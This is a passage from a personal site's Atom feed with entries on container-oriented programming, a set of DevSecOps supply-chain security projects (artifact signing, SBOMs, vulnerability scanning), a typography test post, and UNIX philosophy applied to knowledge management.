&lt;p&gt;You do not merely build infrastructure. &lt;strong&gt;You sculpt from abstraction the permanent evidence of your culture&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;The systems you build reveal more about your team than any retrospective ever will. The evidence is already carved in code.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Container Oriented Programming (COP)</title>
        <published>2026-01-15T00:00:00+00:00</published>
        <updated>2026-01-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/projects/container-oriented-programming/"/>
        <id>https://lf3.gitlab.io/projects/container-oriented-programming/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/projects/container-oriented-programming/">&lt;p&gt;&lt;strong&gt;References&lt;&#x2F;strong&gt;: Meyer (1988) &lt;em&gt;Object-Oriented Software Construction&lt;&#x2F;em&gt;, Gamma et al. (1994) &lt;em&gt;Design Patterns&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Work in Progress:&lt;&#x2F;strong&gt; Concept is stable, adding practical examples and refinements.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;core-idea&quot;&gt;Core idea&lt;&#x2F;h2&gt;
&lt;p&gt;Object-oriented reasoning doesn’t have to live inside code. It can live in infrastructure.&lt;&#x2F;p&gt;
&lt;p&gt;Containers already behave like objects. This paper makes that mapping explicit.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-mapping&quot;&gt;The mapping&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;OOP Concept&lt;&#x2F;th&gt;&lt;th&gt;COP Equivalent&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Class&lt;&#x2F;td&gt;&lt;td&gt;Minimal image&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Object&lt;&#x2F;td&gt;&lt;td&gt;Container&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Method&lt;&#x2F;td&gt;&lt;td&gt;Routine&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Attribute&lt;&#x2F;td&gt;&lt;td&gt;Container state &#x2F; volume&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Constructor&lt;&#x2F;td&gt;&lt;td&gt;Container initialization&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Destructor&lt;&#x2F;td&gt;&lt;td&gt;Container teardown&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Inheritance&lt;&#x2F;td&gt;&lt;td&gt;Image layering &#x2F; composition&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Polymorphism&lt;&#x2F;td&gt;&lt;td&gt;Replaceable routines &#x2F; images&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Encapsulation&lt;&#x2F;td&gt;&lt;td&gt;Container boundaries &#x2F; interface&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Decorator&lt;&#x2F;td&gt;&lt;td&gt;Sidecar&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Observer&lt;&#x2F;td&gt;&lt;td&gt;External monitoring &#x2F; sidecar&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Strategy&lt;&#x2F;td&gt;&lt;td&gt;Swappable container implementations&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;why-this-matters&quot;&gt;Why this matters&lt;&#x2F;h2&gt;
&lt;p&gt;Production workloads often consist of simple transformations, routing, and aggregation. Unix tools (awk, sed, tee) already embody functional programming principles. Inside containers, they gain object-like properties: encapsulation, identity, lifecycle control.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;interfaces-are-explicit&quot;&gt;Interfaces are explicit&lt;&#x2F;h2&gt;
&lt;p&gt;In COP, interfaces are paths, streams, and ports - not implicit method calls. This forces clarity at system boundaries. Behavior can be inspected, tested, and replaced without modifying internal logic.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;patterns-emerge-naturally&quot;&gt;Patterns emerge naturally&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Factory&lt;&#x2F;strong&gt;: Image build pipelines and deployment controllers&lt;br &#x2F;&gt;
&lt;strong&gt;Singleton&lt;&#x2F;strong&gt;: Enforced uniqueness in orchestration&lt;br &#x2F;&gt;
&lt;strong&gt;Observer&lt;&#x2F;strong&gt;: Sidecars or external consumers of streams and metrics&lt;br &#x2F;&gt;
&lt;strong&gt;Strategy&lt;&#x2F;strong&gt;: Swapping images behind a stable interface&lt;br &#x2F;&gt;
&lt;strong&gt;Decorator&lt;&#x2F;strong&gt;: Sidecars attach to containers without modifying core logic&lt;&#x2F;p&gt;
&lt;p&gt;Sidecars are infrastructure-native decorators. A logging sidecar reads stdout, a metrics sidecar exposes counters, a policy sidecar enforces rules. The core container remains unchanged.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;minimal-images-as-class-discipline&quot;&gt;Minimal images as class discipline&lt;&#x2F;h2&gt;
&lt;p&gt;Minimal images (like Chainguard) limit behavior, reduce attack surface, enforce reproducibility. They define exactly what routines are available - constraining object behavior in a verifiable way.&lt;&#x2F;p&gt;
&lt;p&gt;Polymorphism works operationally: replace one image with another that satisfies the same interface. Behavior changes without refactoring dependent components.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;testing&quot;&gt;Testing&lt;&#x2F;h2&gt;
&lt;p&gt;Each routine is tested independently:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat test_input.log | .&amp;#x2F;metrics_routine.sh &amp;gt; result.log
diff result.log expected.log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Integration testing validates container composition - interface compatibility and data flow, not internal implementation.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-instruction-boundary&quot;&gt;The instruction boundary&lt;&#x2F;h2&gt;
&lt;p&gt;COP defines the instruction as atomic. Commands like &lt;code&gt;grep ERROR&lt;&#x2F;code&gt; or &lt;code&gt;pandoc -v&lt;&#x2F;code&gt; are instructions. Behind them lies an enormous stack (syscalls, libraries, runtime), but COP intentionally does not model that. The container boundary is where reasoning stops.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;connection-to-other-work&quot;&gt;Connection to other work&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Supply chain security&lt;&#x2F;strong&gt;: Signed, hardened minimal images are the “class discipline” COP describes&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UNIX philosophy paper&lt;&#x2F;strong&gt;: Same compositional thinking from different angle&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;yml2mid&lt;&#x2F;strong&gt;: Similar text-as-structure approach applied to music&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DevSecOps Supply Chain Security</title>
        <published>2024-12-20T00:00:00+00:00</published>
        <updated>2026-01-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/projects/devsecops-supply-chain-security/"/>
        <id>https://lf3.gitlab.io/projects/devsecops-supply-chain-security/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/projects/devsecops-supply-chain-security/">&lt;h1 id=&quot;devsecops-supply-chain-security&quot;&gt;DevSecOps Supply Chain Security&lt;&#x2F;h1&gt;
&lt;p&gt;Four open-source projects demonstrating practical supply chain security across AWS Lambda, Terraform modules, local development, and Kubernetes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-problem&quot;&gt;The problem&lt;&#x2F;h2&gt;
&lt;p&gt;Modern infrastructure relies on:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Third-party dependencies (pip, npm, helm charts)&lt;&#x2F;li&gt;
&lt;li&gt;Pre-built container images&lt;&#x2F;li&gt;
&lt;li&gt;Infrastructure-as-Code modules&lt;&#x2F;li&gt;
&lt;li&gt;Serverless artifacts&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each represents a trust boundary. Without verification:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;You don’t know what’s actually running&lt;&#x2F;li&gt;
&lt;li&gt;You can’t prove what was deployed&lt;&#x2F;li&gt;
&lt;li&gt;No audit trail for compliance&lt;&#x2F;li&gt;
&lt;li&gt;Tampering goes undetected&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;solution-verifiable-infrastructure&quot;&gt;Solution: Verifiable infrastructure&lt;&#x2F;h2&gt;
&lt;p&gt;Signed artifacts, generated SBOMs, automated vulnerability scanning, reproducible builds.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;project-1-lambda-secure-project&quot;&gt;Project 1: Lambda Secure Project&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;lambda-secure-project&quot;&gt;gitlab.com&#x2F;lf3&#x2F;lambda-secure-project&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Automates secure build and deployment of AWS Lambda functions.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-terraform-apply-does&quot;&gt;What &lt;code&gt;terraform apply&lt;&#x2F;code&gt; does:&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Discovers Lambda source directories&lt;&#x2F;li&gt;
&lt;li&gt;Builds each function in isolated venv&lt;&#x2F;li&gt;
&lt;li&gt;Produces deterministic ZIP&lt;&#x2F;li&gt;
&lt;li&gt;Generates SBOM for dependencies&lt;&#x2F;li&gt;
&lt;li&gt;Computes SHA256 checksums&lt;&#x2F;li&gt;
&lt;li&gt;Signs artifacts with OpenSSL&lt;&#x2F;li&gt;
&lt;li&gt;Verifies signatures before deployment&lt;&#x2F;li&gt;
&lt;li&gt;Runs vulnerability scans (Safety + Grype)&lt;&#x2F;li&gt;
&lt;li&gt;Generates coverage&#x2F;metrics reports&lt;&#x2F;li&gt;
&lt;li&gt;Deploys to AWS Lambda&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;tech-stack&quot;&gt;Tech stack&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Terraform for orchestration&lt;&#x2F;li&gt;
&lt;li&gt;Bash scripts for build&#x2F;sign&#x2F;scan pipeline&lt;&#x2F;li&gt;
&lt;li&gt;OpenSSL for cryptographic operations&lt;&#x2F;li&gt;
&lt;li&gt;Syft&#x2F;CycloneDX for SBOM generation&lt;&#x2F;li&gt;
&lt;li&gt;Safety and Grype for vulnerability scanning&lt;&#x2F;li&gt;
&lt;li&gt;LocalStack for local AWS emulation&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;project-2-terraform-aws-lambdas-guard&quot;&gt;Project 2: Terraform AWS Lambdas Guard&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;terraform-aws-lambdas-guard&quot;&gt;gitlab.com&#x2F;lf3&#x2F;terraform-aws-lambdas-guard&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Reusable Terraform module wrapping the Lambda security pipeline.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;module &amp;quot;lambdas_guard&amp;quot; {
  source       = &amp;quot;git::https:&amp;#x2F;&amp;#x2F;gitlab.com&amp;#x2F;lf3&amp;#x2F;terraform-aws-lambdas-guard.git&amp;quot;
  bucket_name  = &amp;quot;my-secure-artifacts&amp;quot;
  lambda_dirs  = [&amp;quot;function1&amp;quot;, &amp;quot;function2&amp;quot;]
  kms_key_id   = &amp;quot;alias&amp;#x2F;lambda-signing-key&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;scripts-all-defensive-with-set-euo-pipefail&quot;&gt;Scripts (all defensive with &lt;code&gt;set -euo pipefail&lt;&#x2F;code&gt;)&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;build_lambda.sh&lt;&#x2F;code&gt; - deterministic ZIP packaging&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sbom.sh&lt;&#x2F;code&gt; - SBOM generation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sign.sh&lt;&#x2F;code&gt; - OpenSSL artifact signing&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;verify.sh&lt;&#x2F;code&gt; - signature verification (blocks deployment on failure)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;deps_scan.sh&lt;&#x2F;code&gt; - vulnerability scanning&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;deps_coverage.sh&lt;&#x2F;code&gt; - enforce coverage thresholds&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;test_local.sh&lt;&#x2F;code&gt; - run Lambdas locally in Docker&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;project-3-iac-infosec-devenv&quot;&gt;Project 3: IAC InfoSec DevEnv&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;iac-infosec-devenv&quot;&gt;gitlab.com&#x2F;lf3&#x2F;iac-infosec-devenv&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Local IaC development environment for security validation. Entirely offline using LocalStack.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-it-provides&quot;&gt;What it provides&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;IAM roles, policies, delegation flows&lt;&#x2F;li&gt;
&lt;li&gt;S3 encryption and access control&lt;&#x2F;li&gt;
&lt;li&gt;Secrets Manager integration&lt;&#x2F;li&gt;
&lt;li&gt;KMS key management&lt;&#x2F;li&gt;
&lt;li&gt;gRPC-based access control microservices&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;use-cases&quot;&gt;Use cases&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;Prototype security configs before cloud deployment&lt;&#x2F;li&gt;
&lt;li&gt;Train engineers on AWS security without risk&lt;&#x2F;li&gt;
&lt;li&gt;Validate IaC meets compliance requirements (GDPR, HIPAA)&lt;&#x2F;li&gt;
&lt;li&gt;Develop access control microservices with gRPC&lt;&#x2F;li&gt;
&lt;li&gt;Test integration with dummy credentials&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;testing-flow&quot;&gt;Testing flow&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;.&amp;#x2F;scripts&amp;#x2F;start.sh       # Start LocalStack + Terraform apply
.&amp;#x2F;checks&amp;#x2F;check_s3.sh     # Verify S3 access controls
.&amp;#x2F;checks&amp;#x2F;check_iam.sh    # Verify IAM policies
python grpc&amp;#x2F;client.py    # Test gRPC access validation
.&amp;#x2F;scripts&amp;#x2F;clean.sh       # Tear down
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;project-4-helm-auditor&quot;&gt;Project 4: Helm Auditor&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Repository&lt;&#x2F;strong&gt;: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.com&#x2F;lf3&#x2F;helm-auditor&quot;&gt;gitlab.com&#x2F;lf3&#x2F;helm-auditor&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Kubernetes-native Helm supply chain auditor. Generates SBOM, vulnerability reports, and provenance data.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-it-does&quot;&gt;What it does&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;Pulls and renders Helm charts&lt;&#x2F;li&gt;
&lt;li&gt;Scans rendered manifests for misconfigurations (Trivy)&lt;&#x2F;li&gt;
&lt;li&gt;Extracts container images from manifests&lt;&#x2F;li&gt;
&lt;li&gt;Runs per-image Kubernetes Jobs for vulnerability scanning, SBOM generation, provenance verification&lt;&#x2F;li&gt;
&lt;li&gt;Aggregates results into policy-aware audit reports&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;pipeline-stages&quot;&gt;Pipeline stages&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Init containers&lt;&#x2F;strong&gt;: helm pull, helm template, Trivy config scan&lt;br &#x2F;&gt;
&lt;strong&gt;Auditor container&lt;&#x2F;strong&gt;: Parse templates, extract images, dispatch K8s Jobs&lt;br &#x2F;&gt;
&lt;strong&gt;Analysis stage&lt;&#x2F;strong&gt;: Aggregate SBOM&#x2F;vulnerability&#x2F;provenance data, enforce policy rules&lt;&#x2F;p&gt;
&lt;h3 id=&quot;running-locally&quot;&gt;Running locally&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;.&amp;#x2F;make.sh  # Builds image, loads to Minikube, deploys auditor
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Requires Minikube. Chart config via ConfigMap.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;common-themes&quot;&gt;Common themes&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Shift-left security&lt;&#x2F;strong&gt;: Sign before deploy, scan before push, generate SBOM automatically&lt;br &#x2F;&gt;
&lt;strong&gt;Verifiable artifacts&lt;&#x2F;strong&gt;: Every artifact has signature, SBOM, hash, scan results&lt;br &#x2F;&gt;
&lt;strong&gt;Reproducible builds&lt;&#x2F;strong&gt;: Same source → same artifact&lt;br &#x2F;&gt;
&lt;strong&gt;Local-first development&lt;&#x2F;strong&gt;: LocalStack for AWS, Minikube for Kubernetes&lt;br &#x2F;&gt;
&lt;strong&gt;Infrastructure as Code&lt;&#x2F;strong&gt;: Version-controlled, declarative, testable, reproducible&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;technical-decisions&quot;&gt;Technical decisions&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;OpenSSL for signing&lt;&#x2F;strong&gt;: Ubiquitous, simple RSA signing, verifiable in CI&#x2F;CD&lt;br &#x2F;&gt;
&lt;strong&gt;Syft + Grype&lt;&#x2F;strong&gt;: Open source, fast (Go), accurate vulnerability database, CycloneDX support&lt;br &#x2F;&gt;
&lt;strong&gt;LocalStack&lt;&#x2F;strong&gt;: Offline development, no cloud costs, realistic AWS API emulation&lt;br &#x2F;&gt;
&lt;strong&gt;Kubernetes Jobs&lt;&#x2F;strong&gt;: Parallel scanning, isolation per Pod, native K8s primitives&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;connection-to-other-work&quot;&gt;Connection to other work&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;COP&lt;&#x2F;strong&gt;: Each tool is a focused routine with explicit interfaces&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UNIX Philosophy&lt;&#x2F;strong&gt;: Small, single-purpose scripts composing into pipelines&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;yml2mid&lt;&#x2F;strong&gt;: Text-based representation, version-controlled, reproducible outputs&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Test 2</title>
        <published>2024-09-20T23:40:00+06:30</published>
        <updated>2024-09-20T23:40:00+06:30</updated>
        
        <author>
          <name>
            Lisandro fernández
          </name>
        </author>
        
        <author>
          <name>
            Example author
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/test/"/>
        <id>https://lf3.gitlab.io/blog/test/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/test/">&lt;p&gt;&lt;em&gt;This post is meant to be removed. It is used to check the visual appeal of elements such as font weight, colors, and the grid system.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;color&quot;&gt;Color&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;color-test-standalone&quot;&gt;OKLCH Color calibration test page&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Test4&lt;&#x2F;p&gt;
&lt;h1 id=&quot;h1&quot;&gt;h1&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;h2&quot;&gt;h2&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;h3&quot;&gt;h3&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;h4&quot;&gt;h4&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;h5&quot;&gt;h5&lt;&#x2F;h5&gt;
&lt;h6 id=&quot;h6&quot;&gt;h6&lt;&#x2F;h6&gt;
&lt;p&gt;A text.&lt;&#x2F;p&gt;
&lt;p&gt;Ul list:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Item1&lt;&#x2F;li&gt;
&lt;li&gt;Item2&lt;&#x2F;li&gt;
&lt;li&gt;Item 3.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Ul with dash list:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;UI&lt;&#x2F;li&gt;
&lt;li&gt;Command line&lt;&#x2F;li&gt;
&lt;li&gt;Server&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Ordered list:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;JS&lt;&#x2F;li&gt;
&lt;li&gt;HTML&lt;&#x2F;li&gt;
&lt;li&gt;CSS&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;example.com&quot;&gt;Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The command &lt;code&gt;$zola build&lt;&#x2F;code&gt; can be used, code syntax.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;print(&amp;quot;Hello, world!&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;name: &amp;quot;Jon&amp;quot;
age: 26
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is a &lt;em&gt;bold&lt;&#x2F;em&gt; test.&lt;&#x2F;p&gt;
&lt;p&gt;This is another &lt;strong&gt;bold&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;del&gt;rong&lt;&#x2F;del&gt;&lt;ins&gt;Wrong&lt;&#x2F;ins&gt; spelling.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>UNIX Philosophy and Knowledge Management</title>
        <published>2022-10-01T00:00:00+00:00</published>
        <updated>2022-10-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/projects/unix-philosophy-knowledge-management/"/>
        <id>https://lf3.gitlab.io/projects/unix-philosophy-knowledge-management/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/projects/unix-philosophy-knowledge-management/">&lt;h1 id=&quot;unix-philosophy-and-knowledge-management&quot;&gt;UNIX Philosophy and Knowledge Management&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;Institution&lt;&#x2F;strong&gt;: Universidad Tecnológica Nacional, Facultad Regional Buenos Aires&lt;br &#x2F;&gt;
&lt;strong&gt;Program&lt;&#x2F;strong&gt;: M.Sc. in Information Systems Engineering&lt;br &#x2F;&gt;
&lt;strong&gt;Course&lt;&#x2F;strong&gt;: Models of Organizations and Information Systems&lt;&#x2F;p&gt;
&lt;h2 id=&quot;thesis&quot;&gt;Thesis&lt;&#x2F;h2&gt;
&lt;p&gt;UNIX philosophy isn’t just technical guidelines. It’s a framework for how information moves, how knowledge gets shared, and how communities sustain themselves.&lt;&#x2F;p&gt;
&lt;p&gt;This paper maps those principles directly onto Knowledge Management (KM).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-principles-mapped&quot;&gt;The principles mapped&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-common-structure-everything-is-a-file&quot;&gt;1. Common structure - “Everything is a file”&lt;&#x2F;h3&gt;
&lt;p&gt;UNIX unified everything under a single file abstraction so general-purpose tools could operate on anything.&lt;&#x2F;p&gt;
&lt;p&gt;Applied to KM: organize around a unified description of elements and processes. The same tools (search, transform, archive, share) work regardless of what the knowledge is.&lt;&#x2F;p&gt;
&lt;p&gt;Heterogeneous sources, one consistent structure.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-modularity-small-focused-composable&quot;&gt;2. Modularity - Small, focused, composable&lt;&#x2F;h3&gt;
&lt;p&gt;Small processes that do one thing well. Transparent, robust, designed to be combined.&lt;&#x2F;p&gt;
&lt;p&gt;This is optimal for knowledge management. When knowledge units are modular, they can be reused in contexts the original author never anticipated.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-plain-text-as-universal-format&quot;&gt;3. Plain text as universal format&lt;&#x2F;h3&gt;
&lt;p&gt;UNIX resists proprietary interfaces. The consequence: plain text becomes the preferred container.&lt;&#x2F;p&gt;
&lt;p&gt;Why plain text:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Any tool on any platform can read it&lt;&#x2F;li&gt;
&lt;li&gt;String processing is the most basic computer operation&lt;&#x2F;li&gt;
&lt;li&gt;No format-specific barriers to updating&lt;&#x2F;li&gt;
&lt;li&gt;Test data easily added or modified&lt;&#x2F;li&gt;
&lt;li&gt;Lightweight when resources constrained&lt;&#x2F;li&gt;
&lt;li&gt;Outlasts the applications that created it&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Knowledge should be prepared for automation. The consumer may not be human.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-community-colleagues-not-consumers&quot;&gt;4. Community - Colleagues, not consumers&lt;&#x2F;h3&gt;
&lt;p&gt;UNIX culture treats participants as colleagues with similar privileges. Everyone can identify problems, suggest improvements, help refine the system.&lt;&#x2F;p&gt;
&lt;p&gt;Knowledge transfer becomes evidence of a community that learns. Individuals acquire, generate, and share knowledge in a spiral - not a one-way flow.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-counter-argument&quot;&gt;The counter-argument&lt;&#x2F;h2&gt;
&lt;p&gt;Does this model hold in contexts of personalized services at scale? Machine learning, knowledge extraction, recommendation systems operate on principles that tension with UNIX modularity.&lt;&#x2F;p&gt;
&lt;p&gt;The paper doesn’t resolve this. It names it honestly.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-forking-and-resilience&quot;&gt;On forking and resilience&lt;&#x2F;h2&gt;
&lt;p&gt;Optimized coordination that becomes too centralized can threaten community longevity. Countermeasure: forking.&lt;&#x2F;p&gt;
&lt;p&gt;Forking - creating an independent branch - is how communities remain resilient against capture or stagnation.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;connection-to-other-work&quot;&gt;Connection to other work&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;yml2mid thesis&lt;&#x2F;strong&gt;: Opens with explicit defense of plain text and CLI for musical composition&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;COP paper&lt;&#x2F;strong&gt;: Applies compositional thinking to container infrastructure&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;article-boilerplate&lt;&#x2F;strong&gt;: Direct implementation - academic publishing as composable pipeline&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;key-references&quot;&gt;Key references&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Kernighan &amp;amp; Pike (1984) - &lt;em&gt;The UNIX Programming Environment&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
